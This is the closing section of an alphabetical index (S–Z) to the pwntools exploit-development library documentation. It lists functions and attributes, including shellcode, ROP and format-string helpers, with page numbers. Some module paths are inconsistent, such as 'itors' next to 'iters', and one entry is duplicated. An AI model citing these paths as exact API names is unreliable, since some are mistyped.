[system\(\)](#) (*pwnlib.tubes.ssh.ssh* method), 199
[sysv_hash\(\)](#) (*in module pwnlib.dynelf*), 51

T

[tabulate\(\)](#) (*in module pwnlib.util.itors*), 286
[take\(\)](#) (*in module pwnlib.util.itors*), 286
[takewhile\(\)](#) (*in module pwnlib.util.itors*), 288
[tee\(\)](#) (*in module pwnlib.util.itors*), 288
[term_mode](#) (*in module pwnlib.term*), 179
[terminal](#) (*pwnlib.context.ContextType* attribute), 47
[test\(\)](#) (*in module pwnlib.util.sh_string*), 313
[test_expr\(\)](#) (*in module pwnlib.util.safeeval*), 307
[Thread](#) (*class* in *pwnlib.context*), 48
[Timeout](#) (*class* in *pwnlib.timeout*), 179
[timeout](#) (*pwnlib.context.ContextType* attribute), 47
[timeout](#) (*pwnlib.timeout.Timeout* attribute), 180
[TIMEOUT\(\)](#) (*in module pwnlib.args*), 30
[timeout_change\(\)](#) (*pwnlib.timeout.Timeout* method), 180
[timeout_change\(\)](#) (*pwnlib.tubes.tube.tube* method), 216
[to_arm\(\)](#) (*in module pwnlib.shellcraft.thumb*), 175
[to_thumb\(\)](#) (*in module pwnlib.shellcraft.arm*), 146
[tracer\(\)](#) (*in module pwnlib.util.proc*), 306
[track_devices\(\)](#) (*pwnlib.protocols.adb.AdbClient* method), 107
[transport\(\)](#) (*pwnlib.protocols.adb.AdbClient* method), 107
[trap\(\)](#) (*in module pwnlib.shellcraft.aarch64*), 129
[trap\(\)](#) (*in module pwnlib.shellcraft.amd64*), 138
[trap\(\)](#) (*in module pwnlib.shellcraft.arm*), 146
[trap\(\)](#) (*in module pwnlib.shellcraft.i386*), 156
[trap\(\)](#) (*in module pwnlib.shellcraft.mips*), 166
[trap\(\)](#) (*in module pwnlib.shellcraft.thumb*), 175
[tube](#) (*class* in *pwnlib.tubes.tube*), 202
[type](#) (*pwnlib.tubes.listen.listen* attribute), 190
[type](#) (*pwnlib.tubes.server.server* attribute), 192

U

[u16\(\)](#) (in module `pwnlib.util.packing`), 301
[u16\(\)](#) (`pwnlib.elf.elf.ELF` method), 58
[u16\(\)](#) (`pwnlib.memleak.MemLeak` method), 103
[u32\(\)](#) (in module `pwnlib.util.packing`), 301
[u32\(\)](#) (`pwnlib.elf.elf.ELF` method), 58
[u32\(\)](#) (`pwnlib.memleak.MemLeak` method), 104
[u64\(\)](#) (in module `pwnlib.util.packing`), 302
[u64\(\)](#) (`pwnlib.elf.elf.ELF` method), 58
[u64\(\)](#) (`pwnlib.memleak.MemLeak` method), 104
[u8\(\)](#) (in module `pwnlib.util.packing`), 302
[u8\(\)](#) (`pwnlib.elf.elf.ELF` method), 58
[u8\(\)](#) (`pwnlib.memleak.MemLeak` method), 104
[ubsan](#) (`pwnlib.elf.elf.ELF` attribute), 65
[udiv_10\(\)](#) (in module `pwnlib.shellcraft.arm`), 146
[udiv_10\(\)](#) (in module `pwnlib.shellcraft.thumb`), 175
[unbits\(\)](#) (in module `pwnlib.util.fiddling`), 274
[unget\(\)](#) (`pwnlib.tubes.buffer.Buffer` method), 182
[unhex\(\)](#) (in module `pwnlib.util.fiddling`), 274
[uninstall\(\)](#) (in module `pwnlib.adb.adb`), 27
[union\(\)](#) (`pwnlib.fmtstr.AtomWrite` method), 78
[unique_everseen\(\)](#) (in module `pwnlib.util.iters`), 286
[unique_justseen\(\)](#) (in module `pwnlib.util.iters`), 287
[unique_window\(\)](#) (in module `pwnlib.util.iters`), 287
[unlink\(\)](#) (in module `pwnlib.adb.adb`), 27
[unlink\(\)](#) (`pwnlib.tubes.ssh.ssh` method), 200
[unlock_bootloader\(\)](#) (in module `pwnlib.adb.adb`), 27
[unordlist\(\)](#) (in module `pwnlib.util.lists`), 290
[unpack\(\)](#) (in module `pwnlib.util.packing`), 302
[unpack\(\)](#) (`pwnlib.elf.elf.ELF` method), 58
[unpack\(\)](#) (`pwnlib.protocols.adb.AdbClient` method), 107
[unpack_many\(\)](#) (in module `pwnlib.util.packing`), 303
[unread\(\)](#) (`pwnlib.tubes.tube.tube` method), 216
[unrecv\(\)](#) (`pwnlib.tubes.tube.tube` method), 216
[unregister\(\)](#) (in module `pwnlib.atexception`), 34
[unregister\(\)](#) (in module `pwnlib.atexit`), 35
[unresolve\(\)](#) (`pwnlib.rop.rop.ROP` method), 118
[unroot\(\)](#) (in module `pwnlib.adb.adb`), 27
[update\(\)](#) (`pwnlib.context.ContextType` method), 40
[upload\(\)](#) (`pwnlib.tubes.ssh.ssh` method), 200
[upload_data\(\)](#) (`pwnlib.tubes.ssh.ssh` method), 200
[upload_dir\(\)](#) (`pwnlib.tubes.ssh.ssh` method), 200
[upload_file\(\)](#) (`pwnlib.tubes.ssh.ssh` method), 201
[uptime\(\)](#) (in module `pwnlib.adb.adb`), 27
[urldecode\(\)](#) (in module `pwnlib.util.fiddling`), 274
[urlencode\(\)](#) (in module `pwnlib.util.fiddling`), 275
[user_path\(\)](#) (in module `pwnlib.qemu`), 109

V

[vaddr_to_offset\(\)](#) (`pwnlib.elf.elf.ELF` method), 58

[values\(\)](#) (in module `pwnlib.util.safeeval`), 307
[vdso](#) (`pwnlib.elf.corefile.Corefile` attribute), 74
[verbose](#) (`pwnlib.context.ContextType` attribute), 48
[version](#) (`pwnlib.elf.elf.ELF` attribute), 65
[version](#) (`pwnlib.tubes.ssh.ssh` attribute), 202
[version\(\)](#) (in module `pwnlib.gdb`), 91
[version\(\)](#) (`pwnlib.protocols.adb.AdbClient` method), 107
[vsyscall](#) (`pwnlib.elf.corefile.Corefile` attribute), 74
[vvar](#) (`pwnlib.elf.corefile.Corefile` attribute), 74

W

[w\(\)](#) (`pwnlib.memleak.MemLeak` method), 105
[wait\(\)](#) (`pwnlib.tubes.tube.tube` method), 217
[wait_for_close\(\)](#) (`pwnlib.tubes.tube.tube` method), 217
[wait_for_connection\(\)](#) (`pwnlib.tubes.listen.listen` method), 190
[wait_for_debugger\(\)](#) (in module `pwnlib.util.proc`), 306
[wait_for_device\(\)](#) (in module `pwnlib.adb.adb`), 27
[waitfor\(\)](#) (`pwnlib.log.Logger` method), 95
[warn\(\)](#) (`pwnlib.log.Logger` method), 95
[warn_once\(\)](#) (`pwnlib.log.Logger` method), 95
[warning\(\)](#) (`pwnlib.log.Logger` method), 95
[warning_once\(\)](#) (`pwnlib.log.Logger` method), 95
[wget\(\)](#) (in module `pwnlib.util.web`), 313
[which\(\)](#) (in module `pwnlib.adb.adb`), 28
[which\(\)](#) (in module `pwnlib.util.misc`), 294
[which\(\)](#) (`pwnlib.tubes.ssh.ssh` method), 201
[word_size](#) (`pwnlib.context.ContextType` attribute), 48
[writable_segments](#) (`pwnlib.elf.elf.ELF` attribute), 65
[write\(\)](#) (in module `pwnlib.adb.adb`), 28
[write\(\)](#) (in module `pwnlib.util.misc`), 295
[write\(\)](#) (`pwnlib.elf.elf.ELF` method), 59
[write\(\)](#) (`pwnlib.fmtstr.FmtStr` method), 79
[write\(\)](#) (`pwnlib.protocols.adb.AdbClient` method), 107
[write\(\)](#) (`pwnlib.tubes.ssh.ssh` method), 201
[write\(\)](#) (`pwnlib.tubes.tube.tube` method), 217
[write_raw\(\)](#) (`pwnlib.tubes.tube.tube` method), 217
[writeafter\(\)](#) (`pwnlib.tubes.tube.tube` method), 217
[writeline\(\)](#) (`pwnlib.tubes.tube.tube` method), 217
[writelineafter\(\)](#) (`pwnlib.tubes.tube.tube` method), 217
[writelines\(\)](#) (`pwnlib.tubes.tube.tube` method), 217
[writelinethen\(\)](#) (`pwnlib.tubes.tube.tube` method), 217
[writelineafter\(\)](#) (`pwnlib.tubes.tube.tube` method), 217
[writeloop\(\)](#) (in module `pwnlib.shellcraft.amd64.linux`), 143
[writethen\(\)](#) (`pwnlib.tubes.tube.tube` method), 217

X

[x_25\(\)](#) (in module `pwnlib.util.crc`), 261

`xfer()` (*in module `pwnlib.util.crc`*), 262
`xmodem()` (*in module `pwnlib.util.crc`*), 262
`xor()` (*in module `pwnlib.shellcraft.aarch64`*), 129
`xor()` (*in module `pwnlib.shellcraft.amd64`*), 138
`xor()` (*in module `pwnlib.shellcraft.arm`*), 146
`xor()` (*in module `pwnlib.shellcraft.i386`*), 156
`xor()` (*in module `pwnlib.util.fiddling`*), 275
`xor_key()` (*in module `pwnlib.util.fiddling`*), 275
`xor_pair()` (*in module `pwnlib.util.fiddling`*), 276

Y

`yesno()` (*in module `pwnlib.ui`*), 218

Z

`zip` (*in module `pwnlib.util.itors`*), 278
`zip_longest` (*in module `pwnlib.util.itors`*), 278